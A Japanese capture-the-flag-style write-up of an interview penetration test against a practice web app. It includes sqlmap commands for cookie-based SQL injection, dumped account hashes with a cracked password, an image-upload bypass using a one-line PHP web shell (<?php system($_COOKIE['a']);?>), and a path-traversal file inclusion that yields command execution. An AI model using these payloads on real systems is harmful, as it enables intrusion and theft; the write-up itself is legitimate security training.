友人の面接で、実戦問題が送られてきました。インターネット上で同じ問題を見つけたので、ここに記録します。
問題のリンクを開くと以下のようになります:
about ページをクリックすると、いくつかのヒントが表示されます。
ディレクトリスキャンが必要であることが示されています。dirsearch を使用してディレクトリスキャンを行った結果、いくつかのファイルが見つかりました。
robots.txt を訪問して、機密情報があるか確認します。
/1234 というヒントが表示されますが、アクセスすると 404 が表示されます。
このウェブサイトは robots.txt を変更しており、友人の面接のターゲットマシンの robots.txt ファイルから、内容が Company_admin/login.php であることを知りました。これはこのウェブサイトのバックエンドです。
バックエンドでは、メール、パスワード、4 桁の認証コードが必要です。シンプルなブルートフォース攻撃を行った結果、このページではリフレッシュごとに認証コードが変わることがわかりました。したがって、フォームのブルートフォース攻撃は行えません。
about.php ページには、sqli というヒントがあります。明らかに、このページには SQL インジェクションの脆弱性があります。
ホームページのブログをクリックすると、id というパラメータがあることがわかります。SQL インジェクションがあるかどうかを試してみます。
"私のパスワードについて" というヒントが与えられました。
sqlmap を使用してインジェクションを利用しようとしましたが、直接利用することはできず、コンテンツを抽出することもできませんでした。
テストの結果、インジェクションポイントは cookie にあることがわかりました。
3 と 4。
sqlmap を直接実行します。
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog --tables
5 つのテーブルが存在します。
テーブルの内容を読み取ります:
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog -T admin –columns
admin のフィールドを実行すると、エラーが発生し続けるため、ここでは手動でインジェクションします。
5 つのアカウントが得られました:
2020-08-08 20:16:55:fakeaddr@gmail.com:e69dc2c09e8da6259422d987ccbe95b5
2021-10-19 01:44:56:123@qq.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 02:53:01:qwe@gmail.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 23:41:40:qian@gmail.com:e10adc3949ba59abbe56e057f20f883e
[email protected]の平文パスワードは asdqwe123 です。
あとは 4 桁の認証コードだけです。ブルートフォースはできないので、about ページのヒントには「いくつかの社会工学」とあります。
面接のターゲットマシンの about.php ページには、sqli というヒントがあります。明らかに、このページには SQL インジェクションの脆弱性があります。
ブログの場所には、2 つの記事があり、そのうちの 1 つは自分自身への誕生日のお祝いで、誕生日の日付があります、2019-10-27。
試してみて、1027 でログインに成功しました。
ログイン後の画面は以下のようになります:
Blog-create post の場所に、アップロードポイントが存在します。テストの結果、この場所はホワイトリストで、拡張子が画像形式のみ許可されています。
ファイルインクルージョンの脆弱性があるかどうかを確認しましょう。直接画像マルウェアを含めてコマンドを実行します。
access-language の場所には、非常に馴染みのあるパラメータ「?template=」があります。
直接ファイルインクルージョンが可能で、準備が整いました。
画像マルウェアを作成し、php ファイルと png ファイルを用意します。
cat 1.php >> 1.png
テストの結果、このターゲットマシンでアップロードされた Web シェルは、GET または POST リクエストで接続することはできず、SQL インジェクションと同様に、クッキーパラメータを使用して接続し、コマンドを実行する必要があります。
まず、次のようなバックドアファイルを用意します。
<?php system($_COOKIE['a']);?>
次に、上記の方法で画像マルウェアを作成し、次のような画像が生成されます。
ブログ作成の場所に戻り、画像マルウェアをアップロードします。
アドレスは upload/0c3459ff68c1495cefc557f0084a2ac6.png です。
ファイルインクルージョン:http://47.114.90.165:21001/Company_admin/language.php?template=../../upload/0c3459ff68c1495cefc557f0084a2ac6.png。
このリクエストを Burp でキャプチャし、cookie の場所でコマンドを実行します。
フラグを探し始めます。
フラグを見つけることができました。